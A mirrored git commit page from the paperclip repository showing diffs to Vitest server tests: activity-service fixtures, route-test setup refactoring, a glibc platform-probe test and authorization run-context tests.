mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-11-07 16:35:48 +01:00
Reconcile Claude platform qualification with current master
Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
commit
c7d1dfb5ee
437 files changed
+31183
-12051
No files matched your search
@@ -3,6 +3,7 @@ import { eq } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
|
||||
import {
|
||||
activityLog,
|
||||
agentWakeupRequests,
|
||||
agents,
|
||||
companies,
|
||||
createDb,
|
||||
@@ -68,6 +69,7 @@ describeEmbeddedPostgres("activity service", () => {
|
||||
await db.delete(documents);
|
||||
await db.delete(issues);
|
||||
await db.delete(heartbeatRuns);
|
||||
await db.delete(agentWakeupRequests);
|
||||
await db.delete(agents);
|
||||
await db.delete(companies);
|
||||
});
|
||||
@@ -204,6 +206,7 @@ describeEmbeddedPostgres("activity service", () => {
|
||||
const agentId = randomUUID();
|
||||
const issueId = randomUUID();
|
||||
const runId = randomUUID();
|
||||
const wakeupRequestId = randomUUID();
|
||||
|
||||
await db.insert(companies).values({
|
||||
id: companyId,
|
||||
@@ -233,8 +236,12 @@ describeEmbeddedPostgres("activity service", () => {
|
||||
assigneeAgentId: agentId,
|
||||
});
|
||||
|
||||
await db.insert(agentWakeupRequests).values({
|
||||
id: wakeupRequestId, companyId, agentId, source: "issue", status: "claimed",
|
||||
});
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: runId,
|
||||
wakeupRequestId,
|
||||
companyId,
|
||||
agentId,
|
||||
scopeKind: "issue",
|
||||
@@ -243,7 +250,7 @@ describeEmbeddedPostgres("activity service", () => {
|
||||
status: errorCode ? "failed" : "succeeded",
|
||||
errorCode,
|
||||
error: "provider-error".repeat(200),
|
||||
contextSnapshot: { issueId },
|
||||
contextSnapshot: { issueId, queuedCommentSourceWakeIds: ["coalesced-queue"] },
|
||||
usageJson: {
|
||||
inputTokens: 11,
|
||||
output_tokens: 7,
|
||||
@@ -275,7 +282,9 @@ describeEmbeddedPostgres("activity service", () => {
|
||||
expect(runs).toHaveLength(1);
|
||||
expect(runs[0]).toMatchObject({
|
||||
runId,
|
||||
wakeupRequestId,
|
||||
agentId,
|
||||
queuedCommentSourceWakeIds: ["coalesced-queue"],
|
||||
invocationSource: "assignment",
|
||||
contextIssueId: issueId,
|
||||
error: errorCode === "native_provider_model_rejected" ? "provider-error".repeat(200).slice(0, 2000) : null,
|
||||
|
||||
@@ -361,6 +361,7 @@ describe("agent routes adapter validation", () => {
|
||||
it("creates agents for dynamically registered external adapter types", async () => {
|
||||
const { registerServerAdapter } = await import("../adapters/index.js");
|
||||
registerServerAdapter(externalAdapter);
|
||||
mockAdapterPluginStore.getDisabledAdapterTypes.mockReturnValue(["some_other_adapter"]);
|
||||
|
||||
const app = await createApp();
|
||||
const res = await requestApp(app, (baseUrl) =>
|
||||
@@ -729,21 +730,6 @@ describe("agent routes adapter validation", () => {
|
||||
} finally { await unregisterTestAdapter("paperclip_runner"); }
|
||||
});
|
||||
|
||||
it("still creates an agent on an adapter that is registered and enabled", async () => {
|
||||
const { registerServerAdapter } = await import("../adapters/index.js");
|
||||
registerServerAdapter(externalAdapter);
|
||||
mockAdapterPluginStore.getDisabledAdapterTypes.mockReturnValue(["some_other_adapter"]);
|
||||
|
||||
const app = await createApp();
|
||||
const res = await requestApp(app, (baseUrl) =>
|
||||
request(baseUrl)
|
||||
.post("/api/companies/company-1/agents")
|
||||
.send({ name: "Enabled Harness", adapterType: "external_test" }),
|
||||
);
|
||||
|
||||
expect(res.status, JSON.stringify(res.body)).toBe(201);
|
||||
});
|
||||
|
||||
it("defaults new Codex on a qualified Linux target while the experimental flag is off", async () => {
|
||||
const selection = await import("../services/agent-runner-selection.js");
|
||||
vi.spyOn(selection, "resolveNewAgentRunnerForCompany").mockImplementation(async (_db, _companyId, input) =>
|
||||
|
||||
@@ -3,7 +3,7 @@ import request from "supertest";
|
||||
import { lstat, mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { withAccountHomeSecretMutationLock } from "@paperclipai/adapter-codex-local/server";
|
||||
import { AdapterAuthSessionConflictError } from "../services/device-login-service.js";
|
||||
import type {
|
||||
@@ -386,8 +386,11 @@ describe("adapter device-login routes", () => {
|
||||
// `afterEach` whether or not the route removed them itself.
|
||||
const accountHomeTestDirs: string[] = [];
|
||||
|
||||
beforeEach(() => {
|
||||
beforeAll(() => {
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockDeviceLoginPromotion.mockResolvedValue({
|
||||
outcome: "promoted",
|
||||
@@ -1330,9 +1333,6 @@ describe("adapter device-login routes", () => {
|
||||
accountHomeDir,
|
||||
accountHomeCreated: true,
|
||||
});
|
||||
// `vi.resetModules()` in `beforeEach` gives the route module a fresh copy
|
||||
// of `../errors.js`. Import the conflict helper from that same fresh copy,
|
||||
// so the route's `err instanceof HttpError` check sees a matching class.
|
||||
const { conflict: freshConflict } =
|
||||
await vi.importActual<typeof import("../errors.js")>("../errors.js");
|
||||
mockSecretService.create.mockRejectedValueOnce(
|
||||
|
||||
@@ -2,6 +2,7 @@ import express from "express";
|
||||
import request from "supertest";
|
||||
import { Readable } from "node:stream";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { hoistModuleGraph } from "./helpers/hoist-module-graph.js";
|
||||
|
||||
const mockAgentService = vi.hoisted(() => ({
|
||||
create: vi.fn(),
|
||||
@@ -90,39 +91,6 @@ vi.mock("../adapters/index.js", () => ({
|
||||
listAdapterModels: vi.fn(),
|
||||
}));
|
||||
|
||||
function registerModuleMocks() {
|
||||
vi.doMock("../services/index.js", () => ({
|
||||
agentService: () => mockAgentService,
|
||||
agentInstructionsService: () => mockAgentInstructionsService,
|
||||
accessService: () => mockAccessService,
|
||||
approvalService: () => ({}),
|
||||
builtInAgentService: () => mockBuiltInAgentService,
|
||||
companySkillService: () => ({ listRuntimeSkillEntries: vi.fn() }),
|
||||
budgetService: () => ({}),
|
||||
heartbeatService: () => ({}),
|
||||
issueApprovalService: () => ({}),
|
||||
issueService: () => ({}),
|
||||
logActivity: mockLogActivity,
|
||||
secretService: () => mockSecretService,
|
||||
syncInstructionsBundleConfigFromFilePath: mockSyncInstructionsBundleConfigFromFilePath,
|
||||
workspaceOperationService: () => ({}),
|
||||
}));
|
||||
|
||||
vi.doMock("../services/secrets.js", () => ({
|
||||
secretService: () => mockSecretService,
|
||||
}));
|
||||
|
||||
vi.doMock("../services/environments.js", () => ({
|
||||
environmentService: () => mockEnvironmentService,
|
||||
}));
|
||||
|
||||
vi.doMock("../adapters/index.js", () => ({
|
||||
findServerAdapter: mockFindServerAdapter,
|
||||
findActiveServerAdapter: mockFindServerAdapter,
|
||||
listAdapterModels: vi.fn(),
|
||||
}));
|
||||
}
|
||||
|
||||
function boardActor() {
|
||||
return {
|
||||
type: "board",
|
||||
@@ -133,19 +101,27 @@ function boardActor() {
|
||||
};
|
||||
}
|
||||
|
||||
async function createApp(actor: Record<string, unknown> = boardActor(), db: Record<string, unknown> = {}) {
|
||||
const routeModules = hoistModuleGraph(() => {
|
||||
vi.doUnmock("../routes/agents.js");
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
}, async () => {
|
||||
const [{ agentRoutes }, { errorHandler }] = await Promise.all([
|
||||
vi.importActual<typeof import("../routes/agents.js")>("../routes/agents.js"),
|
||||
vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
|
||||
]);
|
||||
return { agentRoutes, errorHandler };
|
||||
});
|
||||
|
||||
async function createApp(actor: Record<string, unknown> = boardActor(), db: Record<string, unknown> = {}) {
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
app.use((req, _res, next) => {
|
||||
(req as any).actor = actor;
|
||||
next();
|
||||
});
|
||||
app.use("/api", agentRoutes(db as any));
|
||||
app.use(errorHandler);
|
||||
app.use("/api", routeModules.value.agentRoutes(db as any));
|
||||
app.use(routeModules.value.errorHandler);
|
||||
return app;
|
||||
}
|
||||
|
||||
@@ -211,13 +187,9 @@ function makeReflectionCoachAgent(overrides: Record<string, unknown> = {}) {
|
||||
}
|
||||
|
||||
describe("agent instructions bundle routes", () => {
|
||||
beforeEach(async () => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("../routes/agents.js");
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
registerModuleMocks();
|
||||
vi.clearAllMocks();
|
||||
beforeEach(() => {
|
||||
vi.resetAllMocks();
|
||||
mockSecretService.normalizeAdapterConfigForPersistence.mockImplementation(async (_companyId: string, config: Record<string, unknown>) => config);
|
||||
mockAuthorizeInstructionRead.mockImplementation(async (_db, actor) => actor);
|
||||
mockInstructionRevisions.readCurrent.mockResolvedValue(null);
|
||||
mockInstructionRevisions.commit.mockResolvedValue({ revision: { id: "33333333-3333-4333-8333-333333333333", entryFile: "AGENTS.md", byteLength: 18 }, content: "# Updated Agent\n", changed: true, materialization: "current" });
|
||||
@@ -288,13 +260,7 @@ describe("agent instructions bundle routes", () => {
|
||||
instructionsFilePath: "/tmp/agent-1/AGENTS.md",
|
||||
},
|
||||
});
|
||||
// Cold route compilation belongs to fixture setup. Timing it as a request
|
||||
// let a timed-out import resume under the next case's reset mocks.
|
||||
await Promise.all([
|
||||
vi.importActual("../routes/agents.js"),
|
||||
vi.importActual("../middleware/index.js"),
|
||||
]);
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
it("returns bundle metadata", async () => {
|
||||
const res = await requestApp(
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const probe = vi.hoisted(() => ({ execFile: vi.fn() }));
|
||||
vi.mock("node:child_process", () => ({ execFile: probe.execFile }));
|
||||
const platform = Object.getOwnPropertyDescriptor(process, "platform")!;
|
||||
const architecture = Object.getOwnPropertyDescriptor(process, "arch")!;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.resetModules();
|
||||
probe.execFile.mockReset();
|
||||
Object.defineProperty(process, "platform", { ...platform, value: "linux" });
|
||||
Object.defineProperty(process, "arch", { ...architecture, value: "x64" });
|
||||
vi.spyOn(process.report, "getReport").mockImplementation(() => {
|
||||
throw new Error("Diagnostic reports must not be used for platform detection");
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
Object.defineProperty(process, "platform", platform);
|
||||
Object.defineProperty(process, "arch", architecture);
|
||||
});
|
||||
|
||||
function reply(stdout: string, error: Error | null = null) {
|
||||
probe.execFile.mockImplementation((_command, _args, _options, callback) => {
|
||||
callback(error, stdout, "");
|
||||
});
|
||||
}
|
||||
|
||||
describe("local runner platform probe", () => {
|
||||
it.each([
|
||||
["glibc 2.38\n", "2.38", false],
|
||||
["glibc 2.39\n", "2.39", true],
|
||||
[" glibc 2.41\n", "2.41", true],
|
||||
["glibc 2.39.1", "2.39.1", true],
|
||||
] as const)("uses getconf's measured version %s", async (stdout, version, supported) => {
|
||||
reply(stdout);
|
||||
const module = await import("../lib/agent-runner-platform.js");
|
||||
expect(module.localAgentRunnerTarget()).toEqual({
|
||||
driver: "local", platform: "linux", architecture: "x64",
|
||||
libc: "glibc", glibcVersion: version,
|
||||
});
|
||||
expect(module.localPaperclipRunnerSupported()).toBe(supported);
|
||||
expect(process.report.getReport).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("probes once before discovery, with a bounded asynchronous command", async () => {
|
||||
let callback!: (error: Error | null, stdout: string, stderr: string) => void;
|
||||
probe.execFile.mockImplementation((_command, _args, _options, done) => { callback = done; });
|
||||
const loaded = import("../lib/agent-runner-platform.js");
|
||||
await vi.waitFor(() => expect(probe.execFile).toHaveBeenCalledTimes(1));
|
||||
await new Promise<void>(resolve => setTimeout(resolve, 0));
|
||||
callback(null, "glibc 2.41\n", "");
|
||||
const module = await loaded;
|
||||
const first = module.localAgentRunnerTarget();
|
||||
first.glibcVersion = "0.0";
|
||||
for (let index = 0; index < 10; index++) {
|
||||
expect(module.localAgentRunnerTarget().glibcVersion).toBe("2.41");
|
||||
}
|
||||
expect(probe.execFile).toHaveBeenCalledTimes(1);
|
||||
expect(probe.execFile).toHaveBeenCalledWith("getconf", ["GNU_LIBC_VERSION"], {
|
||||
encoding: "utf8", timeout: 1_000, killSignal: "SIGKILL", maxBuffer: 1_024,
|
||||
}, expect.any(Function));
|
||||
});
|
||||
|
||||
it.each(["", "musl 1.2.5", "glibc malformed", "glibc 2.39ubuntu1", "glibc 2.41\nprivate-data"])(
|
||||
"fails closed for unrecognized output %s", async stdout => {
|
||||
reply(stdout);
|
||||
const module = await import("../lib/agent-runner-platform.js");
|
||||
expect(module.localAgentRunnerTarget()).toMatchObject({ libc: "unknown" });
|
||||
expect(module.localAgentRunnerTarget()).not.toHaveProperty("glibcVersion");
|
||||
expect(module.localPaperclipRunnerSupported()).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each(["ENOENT", "ETIMEDOUT", "ERR_CHILD_PROCESS_STDIO_MAXBUFFER"])(
|
||||
"keeps discovery available and fails closed on %s", async code => {
|
||||
reply("", Object.assign(new Error("probe failed"), { code }));
|
||||
const module = await import("../lib/agent-runner-platform.js");
|
||||
expect(module.localAgentRunnerTarget()).toMatchObject({ libc: "unknown" });
|
||||
expect(module.localPaperclipRunnerSupported()).toBe(false);
|
||||
expect(probe.execFile).toHaveBeenCalledTimes(1);
|
||||
},
|
||||
);
|
||||
|
||||
it.each(["darwin", "win32"])("does not probe libc on %s", async value => {
|
||||
Object.defineProperty(process, "platform", { ...platform, value });
|
||||
const module = await import("../lib/agent-runner-platform.js");
|
||||
expect(module.localAgentRunnerTarget()).toEqual({ driver: "local", platform: value, architecture: "x64" });
|
||||
expect(probe.execFile).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -1,7 +1,7 @@
|
||||
import express from "express";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const runnerTarget = vi.hoisted(() => ({ driver: "local", platform: "linux", architecture: "x64" }));
|
||||
vi.mock("../services/agent-runner-selection.js", async (importOriginal) => {
|
||||
@@ -272,14 +272,21 @@ function skillSnapshot(adapterType = "claude_local", mode = "ephemeral") {
|
||||
}
|
||||
|
||||
describe("agent skill routes", () => {
|
||||
beforeEach(async () => {
|
||||
runnerTarget.platform = "linux";
|
||||
runnerTarget.architecture = "x64";
|
||||
beforeAll(async () => {
|
||||
vi.resetModules();
|
||||
vi.doUnmock("../routes/agents.js");
|
||||
vi.doUnmock("../routes/authz.js");
|
||||
vi.doUnmock("../middleware/index.js");
|
||||
registerModuleMocks();
|
||||
[{ agentRoutes }, { errorHandler }] = await Promise.all([
|
||||
vi.importActual<typeof import("../routes/agents.js")>("../routes/agents.js"),
|
||||
vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
|
||||
]);
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
runnerTarget.platform = "linux";
|
||||
runnerTarget.architecture = "x64";
|
||||
vi.clearAllMocks();
|
||||
for (const mock of Object.values(mockAgentService)) mock.mockReset();
|
||||
for (const mock of Object.values(mockAccessService)) mock.mockReset();
|
||||
@@ -384,13 +391,6 @@ describe("agent skill routes", () => {
|
||||
mockAccessService.listPrincipalGrants.mockResolvedValue([]);
|
||||
mockAccessService.ensureMembership.mockResolvedValue(undefined);
|
||||
mockAccessService.setPrincipalPermission.mockResolvedValue(undefined);
|
||||
|
||||
// Prepare the module graph inside the setup budget after every reset. Each
|
||||
// test still constructs its own app after configuring its request-specific mocks.
|
||||
[{ agentRoutes }, { errorHandler }] = await Promise.all([
|
||||
vi.importActual<typeof import("../routes/agents.js")>("../routes/agents.js"),
|
||||
vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips runtime materialization when listing Claude skills", async () => {
|
||||
@@ -902,27 +902,6 @@ describe("agent skill routes", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("canonicalizes desired skill references before syncing", async () => {
|
||||
mockAgentService.getById.mockResolvedValue(makeAgent("claude_local"));
|
||||
|
||||
const res = await requestApp(await createApp(), (baseUrl) => request(baseUrl)
|
||||
.post("/api/agents/11111111-1111-4111-8111-111111111111/skills/sync?companyId=company-1")
|
||||
.send({ desiredSkills: ["paperclip"], mode: "replace" }));
|
||||
|
||||
expect(res.status, JSON.stringify(res.body)).toBe(200);
|
||||
expect(mockAgentService.update).toHaveBeenCalledWith(
|
||||
expect.any(String),
|
||||
expect.objectContaining({
|
||||
adapterConfig: expect.objectContaining({
|
||||
paperclipSkillSync: expect.objectContaining({
|
||||
desiredSkills: ["paperclipai/paperclip/paperclip"],
|
||||
}),
|
||||
}),
|
||||
}),
|
||||
expect.any(Object),
|
||||
);
|
||||
});
|
||||
|
||||
it("persists canonical desired skills when creating an agent directly", async () => {
|
||||
const res = await requestApp(await createApp(), (baseUrl) => request(baseUrl)
|
||||
.post("/api/companies/company-1/agents")
|
||||
@@ -1302,34 +1281,6 @@ describe("agent skill routes", () => {
|
||||
expect(mockApprovalService.create).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("includes canonical desired skills in hire approvals", async () => {
|
||||
const db = createDb(true);
|
||||
|
||||
const res = await request(await createApp(db))
|
||||
.post("/api/companies/company-1/agent-hires")
|
||||
.send({
|
||||
name: "QA Agent",
|
||||
role: "engineer",
|
||||
adapterType: "claude_local",
|
||||
runner: "legacy",
|
||||
desiredSkills: ["paperclip"],
|
||||
adapterConfig: {},
|
||||
});
|
||||
|
||||
expect(res.status, JSON.stringify(res.body)).toBe(201);
|
||||
expect(mockApprovalService.create).toHaveBeenCalledWith(
|
||||
"company-1",
|
||||
expect.objectContaining({
|
||||
payload: expect.objectContaining({
|
||||
desiredSkills: ["paperclipai/paperclip/paperclip"],
|
||||
requestedConfigurationSnapshot: expect.objectContaining({
|
||||
desiredSkills: ["paperclipai/paperclip/paperclip"],
|
||||
}),
|
||||
}),
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("gives a CEO hire the core paperclip skills when none are requested", async () => {
|
||||
const res = await request(await createApp(createDb(true)))
|
||||
.post("/api/companies/company-1/agent-hires")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { ServerAdapterModule } from "../adapters/index.js";
|
||||
|
||||
const mockAgentService = vi.hoisted(() => ({
|
||||
@@ -164,11 +164,15 @@ function mockManagedRuntime(method: "api_key" | "subscription") {
|
||||
);
|
||||
}
|
||||
|
||||
async function createApp() {
|
||||
const [{ agentRoutes }, { errorHandler }] = await Promise.all([
|
||||
function loadAppModules() {
|
||||
return Promise.all([
|
||||
vi.importActual<typeof import("../routes/agents.js")>("../routes/agents.js"),
|
||||
vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
|
||||
]);
|
||||
}
|
||||
|
||||
async function createApp() {
|
||||
const [{ agentRoutes }, { errorHandler }] = await loadAppModules();
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
app.use((req, _res, next) => {
|
||||
@@ -192,8 +196,12 @@ async function unregisterTestAdapter(type: string) {
|
||||
}
|
||||
|
||||
describe("agent test-environment route", () => {
|
||||
beforeEach(async () => {
|
||||
beforeAll(async () => {
|
||||
vi.resetModules();
|
||||
await loadAppModules();
|
||||
});
|
||||
|
||||
beforeEach(async () => {
|
||||
vi.clearAllMocks();
|
||||
mockInstanceSettingsService.get.mockResolvedValue({ defaultEnvironmentId: null });
|
||||
mockInstanceSettingsService.getExperimental.mockResolvedValue({ enableManagedSandboxOnly: false });
|
||||
|
||||
@@ -115,23 +115,6 @@ describe("auth routes", () => {
|
||||
expect(res.body.sentryDsn).toBe("https://public@o0.ingest.sentry.io/1");
|
||||
});
|
||||
|
||||
it("sends a null sentryDsn when SENTRY_DSN is unset", async () => {
|
||||
delete process.env.SENTRY_DSN;
|
||||
const app = await createApp(
|
||||
{
|
||||
type: "board",
|
||||
userId: "user-1",
|
||||
source: "session",
|
||||
},
|
||||
baseUser,
|
||||
);
|
||||
|
||||
const res = await request(app).get("/api/auth/get-session");
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body.sentryDsn).toBe(null);
|
||||
});
|
||||
|
||||
it("sends sentryDsn for a board actor when only SENTRY_DSN_FRONTEND is set", async () => {
|
||||
delete process.env.SENTRY_DSN;
|
||||
delete process.env.SENTRY_DSN_BACKEND;
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
import { randomUUID } from 'node:crypto';
|
||||
import { eq, sql } from 'drizzle-orm';
|
||||
import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { agents, companies, companyMemberships, createDb, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS, heartbeatRuns, issues, projects, type Db } from '@paperclipai/db';
|
||||
import { LOW_TRUST_REVIEW_PRESET } from '@paperclipai/shared';
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from './helpers/embedded-postgres.js';
|
||||
import { authorizationService } from '../services/authorization.js';
|
||||
|
||||
const support = await getEmbeddedPostgresTestSupport();
|
||||
(support.supported ? describe : describe.skip)('authorization run context transfer', () => {
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let client: ReturnType<typeof createDb>['$client'];
|
||||
let db: Db;
|
||||
let recording = false;
|
||||
let jsonBytes: number[] = [];
|
||||
beforeAll(async () => {
|
||||
database = await startEmbeddedPostgresTestDatabase('paperclip-authorization-context-');
|
||||
db = createDb(database.connectionString, { maxConnections: 1 });
|
||||
client = db.$client;
|
||||
client.options.transform.value.from = (value, column) => {
|
||||
if (recording && column.type === 3802 && value !== null) jsonBytes.push(Buffer.byteLength(JSON.stringify(value)));
|
||||
return value;
|
||||
};
|
||||
}, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS);
|
||||
beforeEach(() => { recording = false; jsonBytes = []; });
|
||||
afterAll(async () => { await client?.end({ timeout: 5 }); await database?.cleanup(); });
|
||||
|
||||
async function seed() {
|
||||
const companyId = randomUUID(), agentId = randomUUID(), projectId = randomUUID(), runId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: 'Context transfer', issuePrefix: `CT${companyId.slice(0, 6)}` });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: 'Reader', role: 'engineer', adapterType: 'process' });
|
||||
await db.insert(projects).values({ id: projectId, companyId, name: 'Allowed project' });
|
||||
await db.insert(companyMemberships).values({ companyId, principalType: 'agent', principalId: agentId, status: 'active', membershipRole: 'member' });
|
||||
const actor = { type: 'agent' as const, source: 'agent_jwt' as const, companyId, agentId, runId };
|
||||
return { companyId, agentId, projectId, runId, actor };
|
||||
}
|
||||
|
||||
it('retains saved run restrictions without transferring unrelated context', async () => {
|
||||
const fixture = await seed();
|
||||
await db.insert(heartbeatRuns).values({ id: fixture.runId, companyId: fixture.companyId, agentId: fixture.agentId,
|
||||
contextSnapshot: { contextPadding: 'unrelated'.repeat(32_768), executionPolicy: {
|
||||
trustPreset: LOW_TRUST_REVIEW_PRESET,
|
||||
authorizationPolicy: { trustBoundary: { mode: LOW_TRUST_REVIEW_PRESET, projectIds: [fixture.projectId] } },
|
||||
} } });
|
||||
recording = true;
|
||||
expect(await authorizationService(db).projectDiscoveryCandidateIds(fixture.actor, fixture.companyId)).toEqual([fixture.projectId]);
|
||||
expect(jsonBytes.length).toBeGreaterThan(0);
|
||||
expect(Math.max(...jsonBytes)).toBeLessThan(1024);
|
||||
});
|
||||
|
||||
it('keeps batched saved policy checks below the context transfer budget', async () => {
|
||||
const fixture = await seed();
|
||||
await db.insert(heartbeatRuns).values({ id: fixture.runId, companyId: fixture.companyId, agentId: fixture.agentId,
|
||||
contextSnapshot: { contextPadding: 'unrelated'.repeat(32_768), executionPolicy: {
|
||||
trustPreset: LOW_TRUST_REVIEW_PRESET,
|
||||
authorizationPolicy: { trustBoundary: { mode: LOW_TRUST_REVIEW_PRESET, projectIds: [fixture.projectId] } },
|
||||
} } });
|
||||
recording = true;
|
||||
const decisions = await authorizationService(db).decideReads(fixture.actor,
|
||||
[{ type: 'project', companyId: fixture.companyId, projectId: fixture.projectId }]);
|
||||
expect(decisions.map(decision => decision.allowed)).toEqual([true]);
|
||||
expect(jsonBytes.length).toBeGreaterThan(0);
|
||||
expect(Math.max(...jsonBytes)).toBeLessThan(1024);
|
||||
});
|
||||
|
||||
it.each([undefined, null, [], 'invalid', 42, true, {}])('keeps the standard fallback for saved policy %j', async executionPolicy => {
|
||||
const fixture = await seed();
|
||||
await db.insert(heartbeatRuns).values({ id: fixture.runId, companyId: fixture.companyId, agentId: fixture.agentId,
|
||||
contextSnapshot: { contextPadding: 'unrelated'.repeat(32_768), executionPolicy } });
|
||||
recording = true;
|
||||
expect(await authorizationService(db).projectDiscoveryCandidateIds(fixture.actor, fixture.companyId)).toBeNull();
|
||||
expect(jsonBytes.length).toBeGreaterThan(0);
|
||||
expect(Math.max(...jsonBytes)).toBeLessThan(1024);
|
||||
});
|
||||
|
||||
it.each([null, [], 'legacy', 42, true])('keeps the standard fallback for context container %j', async context => {
|
||||
const fixture = await seed();
|
||||
await db.insert(heartbeatRuns).values({ id: fixture.runId, companyId: fixture.companyId, agentId: fixture.agentId });
|
||||
await db.execute(sql`update ${heartbeatRuns} set context_snapshot=${JSON.stringify(context)}::jsonb
|
||||
where ${heartbeatRuns.id}=${fixture.runId} and ${heartbeatRuns.companyId}=${fixture.companyId}`);
|
||||
expect(await authorizationService(db).projectDiscoveryCandidateIds(fixture.actor, fixture.companyId)).toBeNull();
|
||||
});
|
||||
|
||||
it.each(['company', 'agent'])('does not take policy from another %s identity', async mismatch => {
|
||||
const fixture = await seed(), other = await seed();
|
||||
if (mismatch === 'agent') await db.update(agents).set({ companyId: fixture.companyId }).where(eq(agents.id, other.agentId));
|
||||
await db.insert(heartbeatRuns).values({ id: other.runId,
|
||||
companyId: mismatch === 'company' ? other.companyId : fixture.companyId, agentId: other.agentId,
|
||||
contextSnapshot: { contextPadding: 'unrelated'.repeat(32_768), executionPolicy: {
|
||||
trustPreset: LOW_TRUST_REVIEW_PRESET,
|
||||
authorizationPolicy: { trustBoundary: { mode: LOW_TRUST_REVIEW_PRESET, projectIds: [other.projectId] } },
|
||||
} } });
|
||||
recording = true;
|
||||
expect(await authorizationService(db).projectDiscoveryCandidateIds({ ...fixture.actor, runId: other.runId }, fixture.companyId)).toBeNull();
|
||||
expect(Math.max(...jsonBytes)).toBeLessThan(1024);
|
||||
});
|
||||
|
||||
it.each(['issueId', 'taskId'])('retains the direct-parent report for legacy context key %s', async key => {
|
||||
const fixture = await seed(), parentId = randomUUID(), childId = randomUUID();
|
||||
await db.insert(issues).values({ id: parentId, companyId: fixture.companyId, projectId: fixture.projectId, title: 'Parent' });
|
||||
await db.insert(issues).values({ id: childId, companyId: fixture.companyId, projectId: fixture.projectId, parentId,
|
||||
assigneeAgentId: fixture.agentId, title: 'Child' });
|
||||
await db.insert(heartbeatRuns).values({ id: fixture.runId, companyId: fixture.companyId, agentId: fixture.agentId,
|
||||
contextSnapshot: { [key]: childId, contextPadding: 'unrelated'.repeat(32_768) } });
|
||||
await db.update(issues).set({ checkoutRunId: fixture.runId }).where(eq(issues.id, childId));
|
||||
recording = true;
|
||||
const decision = await authorizationService(db).decide({ actor: fixture.actor, action: 'issue:comment',
|
||||
resource: { type: 'issue', companyId: fixture.companyId, projectId: fixture.projectId, issueId: parentId } });
|
||||
expect(decision).toMatchObject({ allowed: true, reason: 'allow_direct_parent_report' });
|
||||
expect(jsonBytes.length).toBeGreaterThan(0);
|
||||
expect(Math.max(...jsonBytes)).toBeLessThan(1024);
|
||||
});
|
||||
});
|
||||
@@ -407,6 +407,18 @@ const actor = { actorType: "user" as const, actorId: "browser-reviewer" };
|
||||
expect(revoked.paperclipConnectorSkillDigest).toBeNull();
|
||||
expect((await prepareConnectorSkillDelivery(revoked, "cursor_local")).instructions).toBe("");
|
||||
});
|
||||
it.each([false, true])("skips tool discovery without an active company Browser Use connection (foreign: %s)", async foreign => {
|
||||
const f = await fixture();
|
||||
await db.update(toolConnections).set({ enabled: false }).where(eq(toolConnections.id, f.connection.connectionId));
|
||||
if (foreign) await fixture();
|
||||
f.request.mockClear();
|
||||
const discovery = vi.spyOn(db, "transaction");
|
||||
try {
|
||||
expect(await f.gateway.browserUseResources(f.binding)).toEqual([]);
|
||||
expect(discovery).not.toHaveBeenCalled();
|
||||
expect(f.request).not.toHaveBeenCalled();
|
||||
} finally { discovery.mockRestore(); }
|
||||
});
|
||||
it("withholds Cloud instructions when connection tools are disabled", async () => {
|
||||
const f = await fixture();
|
||||
await db.update(toolConnections).set({ enabled: false }).where(eq(toolConnections.id, f.connection.connectionId));
|
||||
|
||||
@@ -6037,46 +6037,6 @@ describeEmbeddedPostgres("chat channel control-plane integration", () => {
|
||||
};
|
||||
}
|
||||
|
||||
